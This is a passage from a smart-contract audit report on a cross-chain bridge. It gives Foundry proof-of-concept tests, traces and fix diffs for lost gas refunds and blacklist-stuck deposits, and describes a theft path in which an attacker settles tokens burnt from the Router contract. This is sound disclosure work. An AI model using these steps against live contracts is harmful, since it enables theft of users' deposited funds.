            RootBridgeAgentExecutor contract and no fallback was set
            , the whole tx is reverted, thus, the native token is
            sent back to the LayerZeroEndpoint contract, but it is
            not sent back to the refundee address
24         // No fallback is requested revert allowing for retry.
25         revert ExecutionFailure();
26     }
27 }
28 }
```

- The purpose of reverting the tx is to prevent the nonce from the srcChain from being marked as STATUS\_DONE in the executionState mapping, so the tx can be retried or retrieved and redeemed from the Source Branch
  - But, the **current implementation is flawless and will cause users to never get back the unspent native token.**

### Coded PoC

- I coded a PoC to demonstrate the problem I'm reporting, using the `RootForkTest.t.sol` test file as the base to reproduce this PoC:
  - Make sure to add the new `testAddGlobalTokenNoReturnsGasPoC()` function.
- For this PoC I'm forcefully causing the tx to be reverted by trying to add a globalToken that has already been added, but **the core issue is the same regardless of what causes the tx to be reverted, the user won't get back the unspent native token that was paid for the execution of the crosschain message.**

```
1 function testAddGlobalTokenNoReturnsGasPoC() public {
```

```
2 //Add Local Token from Avax
3 testAddLocalToken();
4
5 //Switch Chain and Execute Incoming Packets
6 switchToLzChain(avaxChainId);
7
8 vm.deal(address(this), 1000 ether);
9
10 GasParams[3] memory gasParams =
11     [GasParams(15_000_000, 0.1 ether), GasParams(2_000_000, 3 ether
12         ), GasParams(200_000, 0)];
13     // [GasParams(15_000_000, 0.1 ether), GasParams(1000, 3 ether),
14         GasParams(200_000, 0)];
15
16 //@audit-info => User1 adds the avaxGlobalToken first
17 avaxCoreRouter.addGlobalToken{value: 1000 ether}(
18     newAvaxAssetGlobalAddress, ftmChainId, gasParams);
19
20 //Switch Chain and Execute Incoming Packets
21 switchToLzChain(rootChainId);
22 //Switch Chain and Execute Incoming Packets
23 switchToLzChain(ftmChainId);
24 //Switch Chain and Execute Incoming Packets
25 switchToLzChain(rootChainId);
26
27 newAvaxAssetFtmLocalToken = rootPort.getLocalTokenFromGlobal(
28     newAvaxAssetGlobalAddress, ftmChainId);
29
30 require(newAvaxAssetFtmLocalToken != address(0), "Failed is zero");
31
32 console2.log("New Local: ", newAvaxAssetFtmLocalToken);
33
34 require(
35     rootPort.getLocalTokenFromGlobal(newAvaxAssetGlobalAddress,
36         ftmChainId) == newAvaxAssetFtmLocalToken,
37     "Token should be added"
38 );
39
40 require(
41     rootPort.getUnderlyingTokenFromLocal(newAvaxAssetFtmLocalToken,
42         ftmChainId) == address(0),
43     "Underlying should not be added"
44 );
45
46 uint256 rootBridgeAgentBalanceBefore = address(coreRootBridgeAgent)
47     .balance;
48 console2.log("RootBridge balance before: ",
49     rootBridgeAgentBalanceBefore);
50
51 //Switch Chain and Execute Incoming Packets
52 switchToLzChain(avaxChainId);
```

```

45
46    //@audit-info => User2 adds the avaxGlobalToken after, tx is
    reverted and native tokens is not refunded
47    address user2 = vm.addr(10);
48    vm.label(user2, "User2");
49    vm.deal(user2, 1000 ether);
50    vm.prank(user2);
51    console2.log("user2 balance before: ", user2.balance);
52    avaxCoreRouter.addGlobalToken{value: 1000 ether}(
        newAvaxAssetGlobalAddress, ftmChainId, [GasParams(15_000_000,
            0.1 ether), GasParams(2_000_000, 3 ether), GasParams(200_000, 0)
        ]);
53    //Switch Chain and Execute Incoming Packets
54    switchToLzChain(rootChainId);
55    //Switch Chain and Execute Incoming Packets
56    switchToLzChain(avaxChainId);
57
58    console2.log("user2 balance after: ", user2.balance);
59
60    switchToLzChain(rootChainId);
61    uint256 rootBridgeAgentBalanceAfter = address(coreRootBridgeAgent).
        balance;
62    console2.log("RootBridge balance after: ",
        rootBridgeAgentBalanceAfter);
63
64    assertTrue(rootBridgeAgentBalanceAfter >
        rootBridgeAgentBalanceBefore);
65 }

```

- Now everything is ready to run the test and analyze the output: > forge test -mc RootForkTest -match-test testAddGlobalTokenNoReturnsGasPoC -vvvv
- By analyzing the output below, we can see that the unspent native tokens are left in the dst contract instead of being returned back to the user (See the next paragraph below the output to understand this behavior and a comparisson against what will happen in production, where the LayerZeroEndpoint contract uses the UltraLightNodeV2 library)

```

1    > [0] console::log(Sending native token airdrop...) [staticcall]
2    |   > ()
3    > [0] VM::deal(RootForkTest: [0
        xBb2180ebd78ce97360503434eD37fcf4a1Df61c3],
        1000000000000000000000 [1e21])
4    |   > ()
5    > [55] RootBridgeAgent::receive{value: 1000000000000000000000}()
6    |   > ()
7    > [0] VM::deal(0x4D73AdB72bC3DD368966edD0f0b2148401A178E2,
        1500000000000 [1.5e11])
8    |   > ()
9    > [0] VM::prank(0x4D73AdB72bC3DD368966edD0f0b2148401A178E2)
10   |   > ()

```

---

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```

35 > [0] VM::selectFork(1)
36 | > ()
37 > [0] VM::getRecordedLogs()
38 | > []
39 > [0] console::log(Events caught:, 0) [staticcall]
40 | > ()
41 > [0] VM::resumeGasMetering()
42 | > ()
43 > [0] console::log(RootBridge balance after: ,
    1000000000000000000000000 [1e21]) [staticcall]
44 | > ()
45 > ()
46
47 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.37s

```

- The difference between the logic implemented on the `LzForkTest.t.sol` file that is executed in these tests and the actual library that is used by the LayerZeroEndpoint contract is that, in the `LzForkTest.t.sol` implementation, the native tokens are airdropped in a separate tx before actually running the payload on the `dstContract.lzReceive()` function, that's why if the tx is reverted in the `dstContract`, the native tokens are left in the `dstContract` itself, but in production, the tokens will be left in the LayerZero contract, regardless of this difference, **the user is not getting back any of the unspent native tokens.** > `LzForkTest.t.sol` contract

```

1 function executePacket(Packet memory packet) public {
2     ...
3     // @audit-info => handleAdapterParams() airdrops the native tokens
    to the dstContract in a separate tx
4     uint256 gasLimit = handleAdapterParams(adapterParams);
5
6     // Acquire gas, Prank into Library and Mock LayerZeroEndpoint.
    receivePayload call
7     vm.deal(receivingLibrary, gasLimit * tx.gasprice);
8     vm.prank(receivingLibrary);
9     ILayerZeroEndpoint(receivingEndpoint).receivePayload(
10         packet.originLzChainId,
11         abi.encodePacked(packet.destinationUA, packet.originUA), //
            original
12         // abi.encodePacked(packet.originUA, packet.destinationUA), //
            fixed
13         // abi.encodePacked(address(1), address(1)),
14         packet.destinationUA,
15         packet.nonce,
16         gasLimit,
17         packet.payload
18     );
19 }
20
21 function handleAdapterParams(AdapterParams memory params) internal
    returns (uint256 gasLimit) {

```

### Figure 2: Unspent Native Tokens Lost PoC

```
22     ...
23     ...
24     ...
25         // @audit-info => Tokens are airdropped to the dstContract!
26         console2.log("Sending native token airdrop...");
27         deal(address(this), nativeForDst * tx.gasprice);
28         addressOnDst.call{value: nativeForDst * tx.gasprice}("");
29     ...
30     ...
31     ...
32 }
```

## Tools Used

Manual Audit & LayerZeroEndpoint Message Library

## Recommended Mitigation Steps

- The recommendation is to implement a mechanism to refund the received ETH from the LayerZeroEndpoint contract to the refundee user in case the execution in the RootBridgeAgent executor fails, and, instead of forcefully reverting the tx in the RootBridgeAgent contract, first, either refund or credit the total of the unspent ETH to the refundee, and secondly, mark the nonce on the srcChain in the executionState mapping as STATUS\_READY, so the nonce can be retried or retrieved and retried.
- By making sure that the nonce is set as STATUS\_READY in case the tx execution in the RootBridgeAgent executor fails and no fallback mechanism is set, the contracts will allow that users can retry the same nonce or retrieve and redeem them, and the users will get back the unspent native token of the tx that failed.
- Apply the below changes to the \_execute() functions in the RootBridgeAgent contract

```
1 function _execute(uint256 _depositNonce, bytes memory _calldata, uint16
   _srcChainId) private {
2     // Update tx state as executed
3     executionState[_srcChainId][_depositNonce] = STATUS_DONE;
4
5     // Try to execute the remote request
6     (bool success,) = bridgeAgentExecutorAddress.call{value: address(
       this).balance}(_calldata);
7
8     // No fallback is requested revert allowing for retry.
9     - if (!success) revert ExecutionFailure();
10    + if (!success) {
11    +     executionState[_srcChainId][_depositNonce] = STATUS_READY;
```

```
12      // @audit-info => Make sure that the refundee gets back the
      unspent ETH
13 +      <decodeRefundeeFromCalldata>.call{value: address(this).balance}()
      ;
14    }
15  }
16
17  function _execute(
18      bool _hasFallbackToggled,
19      uint32 _depositNonce,
20      address _refundee,
21      bytes memory _calldata,
22      uint16 _srcChainId
23  ) private {
24      // @audit-ok => Sets the [_srcChainId][_depositNonce] as STATUS_DONE, it can
      't be re-executed!
25      // Update tx state as executed
26      executionState[_srcChainId][_depositNonce] = STATUS_DONE;
27
28      // Try to execute the remote request
29      (bool success,) = bridgeAgentExecutorAddress.call{value: address(
          this).balance}(_calldata);
30
31      // Update tx state if execution failed
32      if (!success) {
33          // Read the fallback flag.
34          if (_hasFallbackToggled) {
35              // Update tx state as retrieve only
36              executionState[_srcChainId][_depositNonce] =
                  STATUS_RETRIEVE;
37              // Perform the fallback call
38              _performFallbackCall(payable(_refundee), _depositNonce,
                  _srcChainId);
39          } else {
40 -              // No fallback is requested revert allowing for retry.
41 -              revert ExecutionFailure();
42 +              executionState[_srcChainId][_depositNonce] = STATUS_READY;
43              // @audit-info => Make sure that the refundee gets back the
              unspent ETH
44 +              <decodeRefundeeFromCalldata>.call{value: address(this).
              balance}();
45          }
46      }
47  }
```

**[M-03] Depositors could lose all their deposited tokens (including the hTokens) if their address is blacklisted in one of all the deposited underlyingTokens****Impact**

- All user deposited assets, both, hTokens and underlyingTokens are at risk of getting stuck in a BranchPort if the address of the depositor gets blacklisted in one of all the deposited underlying-Tokens

**Proof of Concept**

The problem is caused by the fact that the redemption process works by sending back all the tokens that were deposited and that tokens can only be sent back to the same address from where they were deposited.

- Users can deposit/bridgeOut multiple tokens at once (underlyingTokens and hTokens) from a Branch to Root. The system has a mechanism to prevent users from losing their tokens in case something fails with the execution of the crosschain message in the Root environment.
  - If something fails with the execution in Root, the users can retry the deposit, and as a last resource, they can retrieve and redeem their deposit from Root and get their tokens back in the Branch where they were deposited.
- When redeeming deposits, the redemption is made atomically, in the sense that it redeems all the tokens that were deposited at once, it doesn't redeem one or two specific tokens, it redeems all of them.
  - The problem is that the function to redeem the tokens sets the recipient address to be the caller (msg.sender), and the caller is enforced to be only the owner of the depositor (i.e. the account from where the tokens were taken from).
    - \* The fact that the depositor's address gets blacklisted in one of the underlying tokens should not cause that all the rest of the tokens to get stuck in the BranchPort.

```
1 function redeemDeposit(uint32 _depositNonce) external override lock {
2     // @audit-info => Loads the deposit's information based on the
3     // _depositNonce
4     // Get storage reference
5     Deposit storage deposit = getDeposit[_depositNonce];
6
7     // Check Deposit
8     if (deposit.status == STATUS_SUCCESS) revert
9         DepositRedeemUnavailable();
10    if (deposit.owner == address(0)) revert DepositRedeemUnavailable();
```

```
9     if (deposit.owner != msg.sender) revert NotDepositOwner();
10
11     // Zero out owner
12     deposit.owner = address(0);
13
14     // @audit-issue => Sending back tokens to the deposit.owner.
15     // Depositors can't specify the address where they'd like to
16     // receive their tokens
17     // Transfer token to depositor / user
18     for (uint256 i = 0; i < deposit.tokens.length;) {
19         _clearToken(msg.sender, deposit.hTokens[i], deposit.tokens[i],
20                     deposit.amounts[i], deposit.deposits[i]);
21     }
22 }
```

## Coded PoC

- I coded a PoC to demonstrate the problem I'm reporting, using the `RootForkTest.t.sol` test file as the base to reproduce this PoC:
  - Make sure to import the below Mock a Blacklisted token under the `test/ulysses-omnichain/helpers/` folder, and also add the global variables and the 3 below functions in the `RootForkTest` file

```
1 // SPDX-License-Identifier: AGPL-3.0-only
2 pragma solidity >=0.8.0;
3
4 import {MockERC20} from "solmate/test/utills/mocks/MockERC20.sol";
5
6 contract BlacklistedToken is MockERC20 {
7
8     mapping (address => bool) public blacklistedUsers;
9
10    constructor(
11        string memory _name,
12        string memory _symbol,
13        uint8 _decimals
14    ) MockERC20(_name, _symbol, _decimals) {}
15
16
17    function blacklistAddress(address _user) external returns (bool) {
18        blacklistedUsers[_user] = true;
19    }
20 }
```

```
21     function transfer(address to, uint256 amount) public override returns
      (bool) {
22         if(blacklistedUsers[to]) revert("Blacklisted User");
23         super.transfer(to, amount);
24         return true;
25     }
26
27     function mint(address to, uint256 value) public override {
28         super._mint(to, value);
29     }
30
31     function burn(address from, uint256 value) public override {
32         super._burn(from, value);
33     }
34
35 }
```

```
1  ...
2
3  +//@audit-info => Blacklisted Token
4  +import "../helpers/BlacklistedToken.sol";
5
6  ...
7
8  contract RootForkTest is LzForkTest {
9      ...
10
11      // ERC20s from different chains.
12
13      address avaxMockAssetToken;
14
15      MockERC20 avaxMockAssetToken;
16
17      //@audit-info => underlyingTokens for PoC
18  +   MockERC20 underToken0;
19  +   MockERC20 underToken1;
20      //@audit-info => Create a new token using a contract that allows to
        Blacklist users!
21  +   BlacklistedToken underBlacklistToken;
22
23      ...
24
25      function _deployUnderlyingTokensAndMocks() internal {
26          //Switch Chain and Execute Incoming Packets
27          switchToLzChain(avaxChainId);
28          vm.prank(address(1));
29          // avaxMockAssetToken = new MockERC20("hTOKEN-AVAX", "LOCAL
        hTOKEN FOR TOKEN IN AVAX", 18);
30          avaxMockAssetToken = new MockERC20("underlying token", "UNDER",
        18);
31

```

```

32      // @audit-info => Deploying underlyingTokens for PoC
33 +      underToken0 = new MockERC20("u0 token", "U0", 18);
34 +      underToken1 = new MockERC20("u0 token", "U0", 18);
35 +      underBlacklistToken = new BlacklistedToken("u2 BlacklistedToken"
36      , "U2", 18);
37
38      ...
39
40      ...
41
42      // @audit => Variables required for the PoC
43 +      address[] public hTokens;
44 +      address[] public tokens;
45 +      uint256[] public amounts;
46 +      uint256[] public deposits;
47 +
48 +      address public localTokenUnder0;
49 +      address public localTokenUnder1;
50 +      address public localBlacklistedToken;
51 +
52 +      address public globalTokenUnder0;
53 +      address public globalTokenUnder1;
54 +      address public globalBlacklistedToken;
55 +
56 +      address public _recipient;
57
58      // @audit-info => First function required for the PoC, will create a
59      Deposit in a Branch that will fail its execution in Root
60      function
61      testDepositBlocklistedTokenWithNotEnoughGasForRootFallbackModePoC
62      () public {
63
64      // Switch Chain and Execute Incoming Packets
65      switchToLzChain(avaxChainId);
66
67      vm.deal(address(this), 10 ether);
68
69      avaxCoreRouter.addLocalToken{value: 1 ether}(address(
70      underToken0), GasParams(2_000_000, 0));
71      avaxCoreRouter.addLocalToken{value: 1 ether}(address(
72      underToken1), GasParams(2_000_000, 0));
73      avaxCoreRouter.addLocalToken{value: 1 ether}(address(
74      underBlacklistToken), GasParams(2_000_000, 0));
75
76      // Switch Chain and Execute Incoming Packets
77      switchToLzChain(rootChainId);
78
79      // Switch Chain and Execute Incoming Packets
80      switchToLzChain(avaxChainId);

```



```
76
77     //Switch Chain and Execute Incoming Packets
78     switchToLzChain(rootChainId);
79     prevNonceRoot = multicalRootBridgeAgent.settlementNonce();
80
81     localTokenUnder0 = rootPort.getLocalTokenFromUnderlying(address
82         (underToken0), avaxChainId);
83     localTokenUnder1 = rootPort.getLocalTokenFromUnderlying(address
84         (underToken1), avaxChainId);
85     localBlacklistedToken = rootPort.getLocalTokenFromUnderlying(
86         address(underBlacklistToken), avaxChainId);
87
88     switchToLzChain(avaxChainId);
89     prevNonceBranch = avaxMulticalBridgeAgent.depositNonce();
90
91     vm.deal(address(this), 50 ether);
92
93     uint256 _amount0 = 1 ether;
94     uint256 _amount1 = 1 ether;
95     uint256 _amount2 = 1 ether;
96
97     uint256 _deposit0 = 1 ether;
98     uint256 _deposit1 = 1 ether;
99     uint256 _deposit2 = 1 ether;
100
101     //GasParams
102     GasParams memory gasParams = GasParams(100_000 , 0 ether);
103
104     _recipient = address(this);
105
106     vm.startPrank(address(avaxPort));
107
108     ERC20hTokenBranch(localTokenUnder0).mint(_recipient, _amount0 -
109         _deposit0);
110     ERC20hTokenBranch(localTokenUnder1).mint(_recipient, _amount1 -
111         _deposit1);
112     ERC20hTokenBranch(localBlacklistedToken).mint(_recipient,
113         _amount2 - _deposit2);
114
115     underToken0.mint(_recipient, _deposit0);
116     underToken1.mint(_recipient, _deposit1);
117     underBlacklistToken.mint(_recipient, _deposit2);
118
119     vm.stopPrank();
120
121     // Cast to Dynamic
122     hTokens.push(address(localTokenUnder0));
123     hTokens.push(address(localTokenUnder1));
124     hTokens.push(address(localBlacklistedToken));
```

```
121     tokens.push(address(underToken0));
122     tokens.push(address(underToken1));
123     tokens.push(address(underBlacklistToken));
124
125     amounts.push(_amount0);
126     amounts.push(_amount1);
127     amounts.push(_amount2);
128
129     deposits.push(_deposit0);
130     deposits.push(_deposit1);
131     deposits.push(_deposit2);
132
133
134     //@audit-info => Prepare deposit info
135     DepositMultipleInput memory depositInput =
136         DepositMultipleInput({hTokens: hTokens, tokens: tokens,
137             amounts: amounts, deposits: deposits});
138
139     // Approve AvaxPort to spend
140     MockERC20(hTokens[0]).approve(address(avaxPort), amounts[0] -
141         deposits[0]);
141     MockERC20(tokens[0]).approve(address(avaxPort), deposits[0]);
142     MockERC20(hTokens[1]).approve(address(avaxPort), amounts[1] -
143         deposits[1]);
143     MockERC20(tokens[1]).approve(address(avaxPort), deposits[1]);
144     MockERC20(hTokens[2]).approve(address(avaxPort), amounts[2] -
145         deposits[2]);
145     BlacklistedToken(tokens[2]).approve(address(avaxPort), deposits
146         [2]);
146
147
148     //@audit-info => deposit multiple assets from Avax branch to
149         Root
149     //@audit-info => Attempting to deposit two hTokens and two
150         underlyingTokens
150     avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value:
151         1 ether}(
151         payable(address(this)),bytes(""), depositInput, gasParams,
152         true
152     );
153
154     require(prevNonceBranch == avaxMulticallBridgeAgent.
155         depositNonce() - 1, "Branch should be updated");
155
156     // avaxMulticallRouter.callOutAndBridgeMultiple{value: 1 ether
157         }(bytes(""), depositInput, gasParams);
157
158     console2.log("GOING ROOT AFTER BRIDGE REQUEST FROM AVAX");
159     //Switch Chain and Execute Incoming Packets
160     switchToLzChain(rootChainId);
```

```
161         require(prevNonceRoot == multicallRootBridgeAgent.  
162             settlementNonce(), "Root should not be updated");  
163     }  
164  
165     // @audit-info => Calls the function above and retrieves the deposit  
166     // in the Branch  
167     function testRetrieveDepositPoC() public {  
168         // Set up  
169         testDepositBlocklistedTokenWithNotEnoughGasForRootFallbackModePoC  
170         ();  
171  
172         switchToLzChain(avaxChainId);  
173  
174         // Get some ether.  
175         vm.deal(address(this), 10 ether);  
176  
177         // Call Deposit function  
178         console2.log("retrieving");  
179         avaxMulticallBridgeAgent.retrieveDeposit{value: 10 ether}(  
180             prevNonceRoot, GasParams(1_000_000, 0.01 ether));  
181  
182         require(  
183             avaxMulticallBridgeAgent.getDepositEntry(prevNonceRoot).  
184             status == 0, "Deposit status should be success."  
185         );  
186  
187         console2.log("Going ROOT to retrieve Deposit");  
188         switchToLzChain(rootChainId);  
189         console2.log("Triggered Fallback");  
190  
191         console2.log("Returning to Avax");  
192         switchToLzChain(avaxChainId);  
193         console2.log("Done ROOT");  
194  
195         require(  
196             avaxMulticallBridgeAgent.getDepositEntry(prevNonceRoot).  
197             status == 1,  
198             "Deposit status should be ready for redemption."  
199         );  
200     }  
201  
202     // @audit-info => The _recipient/depositor of the Deposit is  
203     // blacklisted before redeeming the deposit from the Branch  
204     function testRedeemBlocklistedTokenPoC() public {  
205         // Set up  
206         testRetrieveDepositPoC();  
207  
208         // Get some ether.  
209         vm.deal(address(this), 10 ether);
```

```

205
206     uint256 balanceBeforeUnderToken0 = underToken0.balanceOf(
207         _recipient);
208     uint256 balanceBeforeUnderToken1 = underToken1.balanceOf(
209         _recipient);
210     uint256 balanceBeforeBlacklistedToken = underBlacklistToken.
211         balanceOf(_recipient);
212
213     uint256 balanceBeforeUnderToken0BranchPort = underToken0.
214         balanceOf(address(avaxPort));
215     uint256 balanceBeforeUnderToken1BranchPort = underToken1.
216         balanceOf(address(avaxPort));
217     uint256 balanceBeforeBlacklistedTokenBranchPort =
218         underBlacklistToken.balanceOf(address(avaxPort));
219
220     //@audit-info => receiver get's blacklisted before redeeming
221     //its deposit
222     underBlacklistToken.blacklistAddress(_recipient);
223
224     //Call Deposit function
225     console2.log("redeeming");
226     vm.expectRevert();
227     avaxMulticallBridgeAgent.redeemDeposit(prevNonceRoot);
228
229     assertFalse(
230         avaxMulticallBridgeAgent.getDepositEntry(prevNonceRoot).
231             owner == address(0),
232         "Deposit status should not have deleted because the
233             redemption can't be executed"
234     );
235
236     assertFalse(underToken0.balanceOf(_recipient) ==
237         balanceBeforeUnderToken0 + 1 ether, "Balance should not be
238         increased because tokens can't be redeemed");
239     assertFalse(underToken1.balanceOf(_recipient) ==
240         balanceBeforeUnderToken1 + 1 ether, "Balance should not be
241         increased because tokens can't be redeemed");
242     assertFalse(underBlacklistToken.balanceOf(_recipient) ==
243         balanceBeforeBlacklistedToken + 1 ether, "Balance should not
244         be increased because tokens can't be redeemed");
245 }

```

- Now everything is ready to run the test and analyze the output: > forge test -mc RootForkTest -match-test testRedeemBlacklistedTokenPoC -vvvv As we can see in the Output, the depositor can't redeem its deposit because his address was blacklisted in one of the 3 deposited underlyingTokens.
- As a consequence, the depositor's tokens are stuck in the BranchPort

```
1 > [0] console::log(redeeming) [staticcall]
```

```

2      |      > < ()
3      > [0] VM::expectRevert()
4      |      > < ()
5      > [45957] BranchBridgeAgent::redeemDeposit(1)
6      |      > [19384] BranchPort::withdraw(RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], MockERC20: [0
          x32Fa025409e66A35F3C95B04a195b4517f479dCF], 1000000000000000000
          [1e18])
7      |      |      > [18308] MockERC20::transfer(RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], 1000000000000000000
          [1e18])
8      |      |      |      > emit Transfer(from: BranchPort: [0
          x369Ff55AD83475B07d7FF2F893128A93da9bC79d], to: RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], amount:
          1000000000000000000 [1e18])
9      |      |      |      > < true
10     |      |      |      > < ()
11     |      > [19384] BranchPort::withdraw(RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], MockERC20: [0
          x541dC483Eb43cf8F9969baF71BF783193e5C5B1A], 1000000000000000000
          [1e18])
12     |      |      > [18308] MockERC20::transfer(RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], 1000000000000000000
          [1e18])
13     |      |      |      > emit Transfer(from: BranchPort: [0
          x369Ff55AD83475B07d7FF2F893128A93da9bC79d], to: RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], amount:
          1000000000000000000 [1e18])
14     |      |      |      > < true
15     |      |      |      > < ()
16     |      > [1874] BranchPort::withdraw(RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], BlacklistedToken: [0
          x56723b40D167976C402fBfe901cDD81fA5584dc4], 1000000000000000000
          [1e18])
17     |      |      > [660] BlacklistedToken::transfer(RootForkTest: [0
          xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], 1000000000000000000
          [1e18])
18     |      |      |      > < "Blacklisted User"
19     |      |      |      > < 0x90b8ec18
20     |      |      |      > < 0x90b8ec18
21     > [6276] BranchBridgeAgent::getDepositEntry(1) [staticcall]
22     |      > < (1, 0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3, [0
          xabb4Cf532dC72dFDe5a18c67AF3fD3359Cb87055, 0
          x2B8A2bb23C66976322B20B6ceD182b1157B92862, 0
          x6079330AaAC5ca228ade7a78CF588F67a23Fe815], [0
          x32Fa025409e66A35F3C95B04a195b4517f479dCF, 0
          x541dC483Eb43cf8F9969baF71BF783193e5C5B1A, 0
          x56723b40D167976C402fBfe901cDD81fA5584dc4], [1000000000000000000
          [1e18], 1000000000000000000 [1e18], 1000000000000000000 [1e18]
          ]], [1000000000000000000 [1e18], 1000000000000000000 [1e18],
          1000000000000000000 [1e18]])

```

```
37 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.58s
```

```
test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.58s
```

**Figure 3:** Depositor's funds stuck in the BranchPort

## Tools Used

Manual Audit

## Recommended Mitigation Steps

- When redeeming the failed deposits, the easiest and most straightforward solution is to allow the depositor to pass an address where it would like to receive all the deposited tokens.

```
1 - function redeemDeposit(uint32 _depositNonce) external override lock {
2 + function redeemDeposit(uint32 _depositNonce, address _receiver)
   external override lock {
3     ...
4
5
6     // Transfer token to depositor / user
7     for (uint256 i = 0; i < deposit.tokens.length;) {
8 -         _clearToken(msg.sender, deposit.hTokens[i], deposit.tokens[
9 +         _clearToken(_receiver, deposit.hTokens[i], deposit.tokens[i],
           deposit.amounts[i], deposit.deposits[i]);
10
11         unchecked {
12             ++i;
13         }
14     }
15
16     ...
17 }
```

## Low

### [L-01] An attacker can steal all the assets deposited by the users in all the Branches

#### Disclaimer

- I originally submitted this issue as a high because the user's funds were at risk, but during the judging phase it was clarified that users were not supposed to deposit assets in the way how this attack is possible, because of that and the lack of documentation about the expected user's deposit flow this issue was downgraded to QA.

## Impact

- All user's assets deposited in the Branches of the system can be stolen by an attacker

## Proof of Concept

This bug is caused due to two main problems in the process to deposit/bridgeOut tokens from Branches to Root and settle/bridgeIn from Root to Branches. - The first problem is that when depositing/bridgingOut tokens from a Branch to Root, the globalTokens minted in Root are minted to the Router contract instead of to the depositor/user. (Will deep down on this later) - The second problem is because when settling/bridgingIn tokens from Root to a Branch, the globalTokens are burnt from the Router contract instead of from the caller. (Will deep down on this later) - By connecting the two problems, we have as a result that **when users deposit tokens to Root, the recipient is the Router contract, and when settling tokens to a Branch, the tokens are burnt from the Router contract, this opens up the door for an attacker to simply request a settle to his account, and all the amount of tokens to be settled will be burnt from the Router contract, as a consequence, the Root environment will consider that the attacker had the required amount of globalTokens to process the settle, and it will send a crosschain message to the destinationBranch to unlock the underlyingTokens from the BranchPort and transfers them to the attacker.** - Attackers don't need to deposit or have any globalTokens since all the burnt tokens are taken directly from the Router contract in the Root environment

Now that it's clear what is the problem, let's dive deep into the execution flow when depositing tokens and later will explore the execution flow when settling tokens.

---

### Execution flow to deposit/bridgeOut tokens from a Branch to Root

```
1 BaseBranchRouter::callOutAndBridgeMultiple() => BranchBridgeAgent::
  callOutAndBridgeMultiple() => burns hTokens and locks tokens in
  BranchPort => LZ.send() => RBA::lzReceive() => RBA::
  lzReceiveNonBlocking() => RBAExecutor::executeWithDepositMultiple()
  => RBAExecutor::_bridgeInMultiple() => RBA::bridgeInMultiple() =>
  RBA::bridgeIn() => RootPort::bridgeToRoot() => globalTokens are
  minted to the Recipient in the RootPort
```

To spot the first problem, we are interested in the execution in the Root environment, specifically, when the execution is forwarded to the `RootBridgeAgentExecutor::executeWithDepositMultiple()` function from the `RootBridgeAgent::lzReceiveNonBlocking()` - When the `RootBridgeAgent::lzReceiveNonBlocking()` is preparing the calldata that will



be sent to the `RootBridgeAgentExecutor::executeWithDepositMultiple()` function, it sets the address of the `localRouterAddress` (A MulticallRootRouter contract) as the address of the parameter `_router`. - When the `RootBridgeAgentExecutor::executeWithDepositMultiple()` function forwards the execution to the `RootBridgeAgentbridge::InMultiple()` function, **it passes the address of the recipient for the globalTokens in the Root environment, this address is set as the received value of the parameter `_router`**. - So, when the execution reaches the `RootBridgeAgentbridge::InMultiple()` function, the recipient has already been set to be the `localRouterAddress` in the Root environment. - Then, the `RootBridgeAgentbridge::InMultiple()` function will forward the received value of the `_recipient` parameter to the `RootBridgeAgentbridge::bridgeIn()` function for each token being bridged - The `RootBridgeAgentbridge::bridgeIn()` function will also forward the `_recipient` parameter to the `RootPort::bridgeToRoot()` function, which will finally mint the globalTokens to the `_recipient` address.

RootBridgeAgent.sol contract

```
1 function lzReceiveNonBlocking(  
2     address _endpoint,  
3     uint16 _srcChainId,  
4     bytes calldata _srcAddress,  
5     bytes calldata _payload  
6 ) public override requiresEndpoint(_endpoint, _srcChainId, _srcAddress)  
7     {  
8         ...  
9         ...  
10        ...  
11        // DEPOSIT FLAG: 3 (Call with multiple asset Deposit)  
12    } else if (_payload[0] == 0x03) {  
13        ...  
14        ...  
15        // Try to execute remote request  
16        // Flag 3 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress)  
17        .executeWithDepositMultiple(localRouterAddress, _payload,  
18        _srcChainId)  
19        _execute(  
20            nonce,  
21            abi.encodeWithSelector(  
22                RootBridgeAgentExecutor.executeWithDepositMultiple.  
23                selector,  
24                // @audit-info => localRouterAddress is passed as the  
25                value for the _router parameter in the  
26                RootBridgeAgentExecutor::executeWithDepositMultiple  
27                () function  
28                localRouterAddress,  
29                ...  
30            )  
31        )  
32    }
```

```

25         _payload,
26         srcChainId
27     ),
28     srcChainId
29 );
30
31 ...
32 } ...
33 ...
34 ...

```

RootBridgeAgentExecutor.sol contract

```

1  function executeWithDepositMultiple(address _router, bytes calldata
   _payload, uint16 _srcChainId)
2      external
3      payable
4      onlyOwner
5  {
6      //Bridge In Assets and Save Deposit Params
7      DepositMultipleParams memory dParams = _bridgeInMultiple(
8
9          //@audit-info => The value of the received `_router` parameter
           is forwarded as the `_recipient` parameter in the
           _bridgeInMultiple() function!
10         _router,
11
12         _payload[
13             PARAMS_START:
14             PARAMS_END_OFFSET + uint256(uint8(bytes1(_payload[
15                 PARAMS_START]))) * PARAMS_TKN_SET_SIZE_MULTIPLE
16         ],
17         _srcChainId
18     );
19     ...
20 }

```

RootBridgeAgentExecutor.sol contract

```

1  function _bridgeInMultiple(address _recipient, bytes calldata _dParams,
   uint16 _srcChainId)
2      internal
3      returns (DepositMultipleParams memory dParams)
4  {
5      ...
6      ...
7
8      //@audit-info => The received value of the `_recipient` parameter

```

```

    is forwarded to the RootBridgeAgent::bridgeInMultiple() as the
    _recipient for the globalTokens in the Root environment
9    RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient,
    dParams, _srcChainId);
10
11 }

```

RootBridgeAgent.sol contract

```

1  function bridgeInMultiple(address _recipient, DepositMultipleParams
    calldata _dParams, uint256 _srcChainId)
2      external
3      override
4      requiresAgentExecutor
5  {
6      ...
7
8      // Bridge in assets
